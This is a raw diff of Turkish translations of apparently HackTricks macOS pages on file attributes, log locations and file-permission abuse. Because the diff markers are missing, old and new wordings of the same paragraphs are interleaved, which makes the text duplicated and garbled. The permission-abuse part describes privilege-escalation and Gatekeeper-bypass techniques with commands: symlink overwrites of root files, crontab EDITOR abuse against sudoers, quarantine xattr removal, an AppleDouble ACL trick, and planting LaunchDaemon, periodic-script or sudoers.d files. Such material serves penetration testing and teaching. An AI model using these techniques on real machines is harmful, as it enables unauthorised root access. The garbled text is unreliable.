echo "Hello Mac ADS" > a.txt/..namedfork/rsrc
@ -170,11 +210,17 @@ Bu genişletilmiş niteliği içeren tüm dosyaları şu şekilde bulabilirsiniz
```bash
find / -type f -exec ls -ld {} \; 2>/dev/null | grep -E "[x\-]@ " | awk '{printf $9; printf "\n"}' | xargs -I {} xattr -lv {} | grep "com.apple.ResourceFork"
```
{% endcode %}
### decmpfs
## **Evrensel ikili dosyalar ve** Mach-o Formatı
Genişletilmiş öznitelik `com.apple.decmpfs`, dosyanın şifreli olarak depolandığını gösterir, `ls -l` **0 boyutunu** rapor edecektir ve sıkıştırılmış veri bu özniteliğin içindedir. Dosyaya erişildiğinde bellekte şifresi çözülecektir.
Mac OS ikili dosyaları genellikle **evrensel ikili dosyalar** olarak derlenir. Bir **evrensel ikili dosya**, aynı dosyada **çoklu mimarileri destekleyebilir**.
Bu öznitelik `ls -lO` ile görülebilir ve sıkıştırılmış olarak belirtilir çünkü sıkıştırılmış dosyalar aynı zamanda `UF_COMPRESSED` bayrağı ile etiketlenir. Bir sıkıştırılmış dosya kaldırıldığında bu bayrakla `chflags nocompressed </path/to/file>` ile, sistem dosyanın sıkıştırıldığını bilmeyecek ve dolayısıyla verilere erişemeyecek (aslında boş olduğunu düşünecektir).
Araç afscexpand, bir dosyayı zorla açmak için kullanılabilir.
## **Evrensel ikili &** Mach-o Formatı
Mac OS ikilileri genellikle **evrensel ikili** olarak derlenir. **Evrensel ikili**, **aynı dosyada birden fazla mimariyi destekleyebilir**.
{% content-ref url="universal-binaries-and-mach-o-format.md" %}
[universal-binaries-and-mach-o-format.md](universal-binaries-and-mach-o-format.md)
@ -186,36 +232,36 @@ Mac OS ikili dosyaları genellikle **evrensel ikili dosyalar** olarak derlenir.
[macos-memory-dumping.md](macos-memory-dumping.md)
{% endcontent-ref %}
## Mac OS Risk Kategorisi Dosyaları
## Risk Kategorisi Dosyaları Mac OS
`/System/Library/CoreServices/CoreTypes.bundle/Contents/Resources/System` dizini, **farklı dosya uzantılarıyla ilişkili risk bilgilerinin depolandığı** yerdir. Bu dizin dosyaları çeşitli risk seviyelerine göre kategorize eder ve Safari'nin bu dosyaları indirme işleminden sonra nasıl işleyeceğini etkiler. Kategoriler şunlardır:
`/System/Library/CoreServices/CoreTypes.bundle/Contents/Resources/System` dizini, **farklı dosya uzantılarıyla ilişkilendirilen risk hakkında bilgilerin depolandığı** yerdir. Bu dizin dosyaları çeşitli risk seviyelerine ayırır ve Safari'nin bu dosyaları indirme sonrasında nasıl işleyeceğini etkiler. Kategoriler şunlardır:
- **LSRiskCategorySafe**: Bu kategorideki dosyalar **tamamen güvenli** olarak kabul edilir. Safari, bu dosyaları otomatik olarak indirildikten sonra açar.
- **LSRiskCategoryNeutral**: Bu dosyalar herhangi bir uyarı içermez ve Safari tarafından **otomatik olarak açılmaz**.
- **LSRiskCategoryUnsafeExecutable**: Bu kategoriye ait dosyalar, dosyanın bir uygulama olduğunu belirten bir uyarı **tetikler**. Bu, kullanıcıyı uyarmak için bir güvenlik önlemi olarak hizmet verir.
- **LSRiskCategoryMayContainUnsafeExecutable**: Bu kategori, arşivler gibi bir yürütülebilir içerebilecek dosyalar için kullanılır. Safari, tüm içeriğin güvenli veya tarafsız olduğunu doğrulayamazsa, bir uyarı **tetikler**.
* **LSRiskCategorySafe**: Bu kategorideki dosyalar **tamamen güvenli** olarak kabul edilir. Safari, bu dosyaları otomatik olarak indirme sonrasında açacaktır.
* **LSRiskCategoryNeutral**: Bu dosyalar herhangi bir uyarı ile gelmez ve Safari tarafından **otomatik olarak açılmaz**.
* **LSRiskCategoryUnsafeExecutable**: Bu kategoriye giren dosyalar, dosyanın bir uygulama olduğunu belirten bir uyarı **tetikler**. Bu, kullanıcıyı uyarmak için bir güvenlik önlemidir.
* **LSRiskCategoryMayContainUnsafeExecutable**: Bu kategori, uygulama içerebilecek arşivler gibi dosyalar için kullanılır. Safari, tüm içeriğin güvenli veya tarafsız olduğunu doğrulayamadığı sürece **bir uyarı tetikler**.
## Günlük dosyaları
* **`$HOME/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2`**: İndirilen dosyalar hakkında, indirildikleri URL gibi bilgileri içerir.
* **`/var/log/system.log`**: OSX sistemlerinin ana günlüğüdür. syslogging'in yürütülmesinden sorumlu olan com.apple.syslogd.plist'tir (devre dışı bırakılıp bırakılmadığını kontrol etmek için `launchctl list` içinde "com.apple.syslogd" arayabilirsiniz).
* **`/private/var/log/asl/*.asl`**: Bu, ilginç bilgiler içerebilecek Apple Sistem Günlükleridir.
* **`$HOME/Library/Preferences/com.apple.recentitems.plist`**: "Finder" aracılığıyla son zamanlarda erişilen dosyaları ve uygulamaları depolar.
* **`$HOME/Library/Preferences/com.apple.loginitems.plsit`**: Sistem başlatıldığında başlatılacak öğeleri depolar.
* **`$HOME/Library/Logs/DiskUtility.log`**: DiskUtility Uygulaması için günlük dosyası (USB dahil sürücüler hakkında bilgi)
* **`$HOME/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2`**: İndirilen dosyalar hakkında bilgiler içerir, indirildikleri URL gibi.
* **`/var/log/system.log`**: OSX sistemlerinin ana günlüğüdür. com.apple.syslogd.plist, sistem günlükleme işleminin yürütülmesinden sorumludur (devre dışı bırakılıp bırakılmadığını `launchctl list` içinde "com.apple.syslogd" arayarak kontrol edebilirsiniz).
* **`/private/var/log/asl/*.asl`**: Bunlar, ilginç bilgiler içerebilecek Apple Sistem Günlükleridir.
* **`$HOME/Library/Preferences/com.apple.recentitems.plist`**: "Finder" aracılığıyla son erişilen dosyaları ve uygulamaları saklar.
* **`$HOME/Library/Preferences/com.apple.loginitems.plsit`**: Sistemin başlangıcında başlatılacak öğeleri saklar.
* **`$HOME/Library/Logs/DiskUtility.log`**: DiskUtility Uygulaması için günlük dosyası (sürücüler hakkında bilgiler, USB'ler dahil).
* **`/Library/Preferences/SystemConfiguration/com.apple.airport.preferences.plist`**: Kablosuz erişim noktaları hakkında veri.
* **`/private/var/db/launchd.db/com.apple.launchd/overrides.plist`**: Devre dışı bırakılan daemonların listesi.
<details>
<summary><strong>AWS hackleme konusunda sıfırdan kahramana dönüşmek için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>'ı öğrenin!</strong></summary>
<summary><strong>Sıfırdan kahraman olmak için AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'i desteklemenin diğer yolları:
* Şirketinizi HackTricks'te **tanıtmak veya HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'ler**](https://opensea.io/collection/the-peass-family) içerir
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'u takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna **PR göndererek paylaşın**.
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin
* **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) veya [telegram grubuna](https://t.me/peass) katılın veya** bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da **takip edin**.
* **Hacking püf noktalarınızı paylaşarak HackTricks ve HackTricks Cloud github depolarına PR göndererek katkıda bulunun.**
</details>

View file

@ -2,7 +2,7 @@
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile!</strong></summary>
<summary><strong>A'dan Z'ye AWS hackleme konusunu öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
@ -18,37 +18,37 @@ HackTricks'ı desteklemenin diğer yolları:
Bir **dizin** içindeki izinler:
* **okuma** - dizin girdilerini **listeleyebilirsiniz**
* **okuma** - dizin girişlerini **listeleyebilirsiniz**
* **yazma** - dizinde **dosyaları silebilir/yazabilirsiniz** ve **boş klasörleri silebilirsiniz**.
* Ancak **doluluk klasörlerini silemez/değiştiremezsiniz** yazma izniniz olmadıkça.
* Bir klasörün adını **değiştiremezsiniz** sahip olmadıkça.
* **çalıştırma** - dizini **gezebilirsiniz** - bu hakkınız yoksa, içindeki dosyalara veya alt dizinlere erişemezsiniz.
* **çalıştırma** - dizini **gezebilmenize izin verilir** - bu hakkınız yoksa, içindeki dosyalara veya alt dizinlere erişemezsiniz.
### Tehlikeli Kombinasyonlar
**Root'a ait bir dosya/dizini nasıl üzerine yazabilirsiniz**, ancak:
* Yol üzerinde bir ebeveyn **dizin sahibi** kullanıcıdır
* Yol üzerinde bir ebeveyn **dizin sahibi** kullanıcı grubudur ve **yazma erişimi** vardır
* Bir kullanıcı grubu **dosyaya yazma** erişimine sahiptir
* Yol üzerinde bir ebeveyn **dizin sahibi** kullanıcı ise
* Yol üzerinde bir ebeveyn **dizin sahibi** kullanıcı grubu ve **yazma erişimi** varsa
* Bir kullanıcı grubunun **dosyaya yazma** erişimi varsa
Önceki kombinasyonlardan herhangi biriyle, bir saldırgan ayrıcalıklı keyfi yazma elde etmek için beklenen yola bir **sembolik/sabit bağlantı enjekte** edebilir.
Önceki kombinasyonlardan herhangi biriyle, bir saldırgan ayrıcalıklı keyfi yazma elde etmek için beklenen yola bir **sembolik/sabit bağ** enjekte edebilir.
### Dizin kökü R+X Özel durum
Eğer bir **dizinde yalnızca root'un R+X erişimi varsa** dosyalar **başka kimseye erişilemez**. Bu nedenle, bir kullanıcı tarafından okunabilen ancak bu **kısıtlama** nedeniyle okunamayan bir dosyanın bu dizinden **başka bir dizine taşınmasına** izin veren bir zafiyet, bu dosyaları okumak için kötüye kullanılabilir.
Eğer bir **dizinde yalnızca root'un R+X erişimi varsa** dosyalar **başka kimseye erişilemez**. Bu nedenle, bir kullanıcı tarafından okunabilen ancak bu **kısıtlama** nedeniyle okunamayan bir dosyanın bu klasörden **başka bir klasöre taşınmasına** izin veren bir zafiyet, bu dosyaları okumak için kötüye kullanılabilir.
Örnek: [https://theevilbit.github.io/posts/exploiting\_directory\_permissions\_on\_macos/#nix-directory-permissions](https://theevilbit.github.io/posts/exploiting\_directory\_permissions\_on\_macos/#nix-directory-permissions)
## Sembolik Bağlantı / Sabit Bağlantı
Eğer ayrıcalıklı bir işlem, **düşük ayrıcalıklı bir kullanıcı** tarafından **kontrol edilebilen bir dosyaya** veri yazıyorsa veya daha önceden düşük ayrıcalıklı bir kullanıcı tarafından oluşturulmuşsa. Kullanıcı sadece bir Sembolik veya Sabit bağlantı aracılığıyla onu başka bir dosyaya **yönlendirebilir** ve ayrıcalıklı işlem o dosyaya yazacaktır.
Eğer ayrıcalıklı bir işlem **düşük ayrıcalıklı bir kullanıcı tarafından kontrol edilebilen bir dosyaya yazıyorsa**, veya daha önceden düşük ayrıcalıklı bir kullanıcı tarafından oluşturulmuşsa. Kullanıcı sadece bir Sembolik veya Sabit bağlantı aracılığıyla onu başka bir dosyaya **yönlendirebilir** ve ayrıcalıklı işlem o dosyaya yazacaktır.
Saldırganın ayrıcalıkları yükseltmek için keyfi yazmayı kötüye kullanabileceği diğer bölümlere bakın.
## .fileloc
**`.fileloc`** uzantılı dosyalar diğer uygulamalara veya ikili dosyalara işaret edebilir, bu nedenle açıldıklarında uygulama/ikili dosya yürütülecektir.\
**`.fileloc`** uzantılı dosyalar diğer uygulamalara veya ikili dosyalara işaret edebilir, bu nedenle açıldığında uygulama/ikili dosya çalıştırılacaktır.\
Örnek:
```xml
<?xml version="1.0" encoding="UTF-8"?>
@ -64,7 +64,7 @@ Saldırganın ayrıcalıkları yükseltmek için keyfi yazmayı kötüye kullana
```
## Keyfi FD
Eğer bir **işlemi yüksek ayrıcalıklarla bir dosyayı veya klasörü açmaya** zorlayabilirseniz, **`crontab`**'ı kötüye kullanarak `/etc/sudoers.d` içindeki bir dosyayı **`EDITOR=exploit.py`** ile açabilirsiniz, böylece `exploit.py` `/etc/sudoers` içindeki dosyaya FD alacak ve kötüye kullanacaktır.
Eğer bir **işlemi yüksek ayrıcalıklarla bir dosya veya klasör açmaya** zorlayabilirseniz, **`crontab`**'ı kötüye kullanarak `/etc/sudoers.d` içindeki bir dosyayı **`EDITOR=exploit.py`** ile açabilirsiniz, böylece `exploit.py` `/etc/sudoers` içindeki dosyaya FD alacak ve bunu kötüye kullanacaktır.
Örneğin: [https://youtu.be/f1HA5QhLQ7Y?t=21098](https://youtu.be/f1HA5QhLQ7Y?t=21098)
@ -76,7 +76,7 @@ xattr -d com.apple.quarantine /path/to/file_or_app
```
### uchg / uchange / uimmutable bayrağı
Bir dosya/dizin bu değişmez özelliğe sahipse üzerine xattr eklemek mümkün olmayacaktır.
Bir dosya/dizin bu değişmez özelliğe sahipse üzerine bir xattr eklemek mümkün olmayacaktır.
```bash
echo asd > /tmp/asd
chflags uchg /tmp/asd # "chflags uchange /tmp/asd" or "chflags uimmutable /tmp/asd"
@ -88,7 +88,7 @@ ls -lO /tmp/asd
```
### defvfs mount
Bir **devfs** bağlantısı **xattr**'ı desteklemez, daha fazla bilgi için [**CVE-2023-32364**](https://gergelykalman.com/CVE-2023-32364-a-macOS-sandbox-escape-by-mounting.html)
Bir **devfs** bağlantısı **xattr**'ı desteklemez, daha fazla bilgi için [**CVE-2023-32364**](https://gergelykalman.com/CVE-2023-32364-a-macOS-sandbox-escape-by-mounting.html) adresine bakın.
```bash
mkdir /tmp/mnt
mount_devfs -o noowners none "/tmp/mnt"
@ -124,7 +124,7 @@ ls -le /tmp/test
**AppleDouble** dosya formatı, dosyayı ACE'leriyle birlikte kopyalar.
[**Kaynak kodunda**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html) görülebileceği gibi, **`com.apple.acl.text`** adlı xattr içinde depolanan ACL metin temsili, sıkıştırılmış dosyada ACL olarak ayarlanacaktır. Dolayısıyla, bir uygulamayı diğer xattr'lerin yazılmasını engelleyen bir ACL ile **AppleDouble** dosya formatına sahip bir zip dosyasına sıkıştırırsanız... karantina xattr uygulamaya ayarlanmaz:
[**Kaynak kodunda**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html) görülebileceği gibi, **`com.apple.acl.text`** adlı xattr içinde depolanan ACL metin temsili, dekompresyon yapılmış dosyada ACL olarak ayarlanacaktır. Dolayısıyla, bir uygulamayı diğer xattr'lerin yazılmasını engelleyen bir ACL ile AppleDouble dosya formatına sahip bir zip dosyasına sıkıştırdıysanız... karantina xattr uygulamaya ayarlanmamış olacaktır:
Daha fazla bilgi için [**orijinal rapora**](https://www.microsoft.com/en-us/security/blog/2022/12/19/gatekeepers-achilles-heel-unearthing-a-macos-vulnerability/) bakın.
@ -146,7 +146,7 @@ ditto -c -k del test.zip
ditto -x -k --rsrc test.zip .
ls -le test
```
(Not: Bu çalışsa bile, kum havuzu xattr'yi karantinaya yazmadan önce)
(Not: Bu çalışsa bile, kum havuzu yazma karantina xattr'yi önce yazar)
Gerçekten gerekli değil ama her ihtimale karşı orada bırakıyorum:
@ -156,7 +156,7 @@ Gerçekten gerekli değil ama her ihtimale karşı orada bırakıyorum:
## Kod İmzalarını Atlatma
Bundles, **`_CodeSignature/CodeResources`** dosyasını içerir ve bu dosya **bündle** içindeki her **dosyanın karma** değerini içerir. CodeResources'un karma değeri ayrıca **yürütülebilir dosyaya gömülüdür**, bu nedenle onunla oynayamayız.
Bundles, **`_CodeSignature/CodeResources`** dosyasını içerir, bu dosya **bündle** içindeki her **dosyanın karma** değerini içerir. CodeResources'un karma değeri aynı zamanda **yürütülebilir dosyaya gömülüdür**, bu yüzden onunla oynayamayız.
Ancak, imzası kontrol edilmeyecek bazı dosyalar vardır, bunlar plist'te omit anahtarına sahiptir, örneğin:
```xml
@ -202,15 +202,15 @@ Ancak, imzası kontrol edilmeyecek bazı dosyalar vardır, bunlar plist'te omit
...
</dict>
```
Kaynak dosyanın imzasını terminal üzerinden hesaplamak mümkündür:
Aşağıdaki komutu kullanarak bir kaynağın imzasını CLI üzerinden hesaplamak mümkündür:
{% code overflow="wrap" %}
```bash
openssl dgst -binary -sha1 /System/Cryptexes/App/System/Applications/Safari.app/Contents/Resources/AppIcon.icns | openssl base64
```
## Dmg Dosyalarını Bağlama
## Dmg'leri Bağlama
Bir kullanıcı, hatta bazı mevcut klasörlerin üstüne bile özel içeriklerle oluşturulmuş bir dmg dosyasını bağlayabilir. İşte özel içeriklerle özel bir dmg paketi oluşturabileceğiniz bir örnek:
Bir kullanıcı, hatta bazı mevcut klasörlerin üstüne bile oluşturulmuş özel bir dmg'yi bağlayabilir. Özel içeriğe sahip bir özel dmg paketi oluşturabileceğiniz şu şekilde:
```bash
# Create the volume
hdiutil create /private/tmp/tmp.dmg -size 2m -ov -volname CustomVolName -fs APFS 1>/dev/null
@ -233,17 +233,20 @@ hdiutil create -srcfolder justsome.app justsome.dmg
```
{% endcode %}
## Rastgele Yazma İşlemleri
Genellikle macOS, `com.apple.DiskArbitrarion.diskarbitrariond` Mach hizmetiyle konuşarak disk bağlar (`/usr/libexec/diskarbitrationd` tarafından sağlanır). Başlatma Daemon'ları plist dosyasına `-d` parametresini ekleyerek ve yeniden başlatarak, logları `/var/log/diskarbitrationd.log` dosyasında saklayacaktır.\
Ancak, `hdik` ve `hdiutil` gibi araçları kullanarak doğrudan `com.apple.driver.DiskImages` kext'i ile iletişim kurmak mümkündür.
## Keyfi Yazma
### Periyodik sh betikleri
Eğer betiğiniz bir **kabuk betiği** olarak yorumlanabilirse, her gün tetiklenecek olan **`/etc/periodic/daily/999.local`** kabuk betiğini üzerine yazabilirsiniz.
Eğer betiğiniz bir **shell betiği** olarak yorumlanabilirse, **her gün tetiklenecek olan** **`/etc/periodic/daily/999.local`** shell betiğini üzerine yazabilirsiniz.
Bu betiği şu şekilde **sahte** bir şekilde çalıştırabilirsiniz: **`sudo periodic daily`**
### Daemonlar
Rastgele bir **LaunchDaemon** yazın ve içinde şu şekilde rastgele bir betik çalıştıran bir plist dosyası oluşturun: **`/Library/LaunchDaemons/xyz.hacktricks.privesc.plist`**
Keyfi bir **LaunchDaemon** yazın, örneğin **`/Library/LaunchDaemons/xyz.hacktricks.privesc.plist`** adında bir plist dosyası oluşturun ve keyfi bir betik çalıştıran bir plist dosyası oluşturun:
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
@ -262,17 +265,17 @@ Rastgele bir **LaunchDaemon** yazın ve içinde şu şekilde rastgele bir betik
```
### Sudoers Dosyası
Eğer **keyfi yazma** yetkiniz varsa, kendinize **sudo** ayrıcalıkları veren bir dosya oluşturabilirsiniz. Bu dosya **`/etc/sudoers.d/`** klasörü içinde yer almalıdır.
Eğer **keyfi yazma** yetkiniz varsa, kendinize **sudo** ayrıcalıkları tanıyan bir dosya oluşturabilirsiniz. Bu dosya **`/etc/sudoers.d/`** klasörü içinde yer almalıdır.
### PATH Dosyaları
**`/etc/paths`** dosyası, PATH ortam değişkenini dolduran ana yerlerden biridir. Bu dosyayı üzerine yazmak için root olmanız gerekmektedir, ancak bir **yetkili işlem** tarafından **tam yol olmadan komut** çalıştırılıyorsa, bu dosyayı değiştirerek bunu **ele geçirebilirsiniz**.
**`/etc/paths`** dosyası, PATH ortam değişkenini dolduran ana yerlerden biridir. Bu dosyayı üzerine yazmak için root olmanız gerekir, ancak bir **yetkili işlem** tarafından **tam yol olmadan komut** çalıştırılıyorsa, bu dosyayı değiştirerek onu **ele geçirebilirsiniz**.
`PATH` ortam değişkenine yeni klasörler yüklemek için **`/etc/paths.d`** içinde dosyalar yazabilirsiniz.
`PATH` ortam değişkenine yeni klasörler yüklemek için **`/etc/paths.d`** içine dosyalar yazabilirsiniz.
## Diğer kullanıcılar tarafından yazılabilir dosyalar oluşturma
Bu, benim tarafımdan yazılabilir olan root'a ait bir dosya oluşturacaktır ([**buradan kod**](https://github.com/gergelykalman/brew-lpe-via-periodic/blob/main/brew\_lpe.sh)). Bu ayrıca bir ayrıcalık yükseltme olarak çalışabilir.
Bu, root'a ait ancak benim tarafımdan yazılabilir bir dosya oluşturacaktır ([**buradan kod**](https://github.com/gergelykalman/brew-lpe-via-periodic/blob/main/brew\_lpe.sh)). Bu ayrıca bir ayrıcalık yükseltme olarak çalışabilir.
```bash
DIRNAME=/usr/local/etc/periodic/daily
@ -290,14 +293,14 @@ echo $FILENAME
<details>
<summary><strong>Sıfırdan kahraman olacak şekilde AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Sıfırdan kahraman olacak şekilde AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>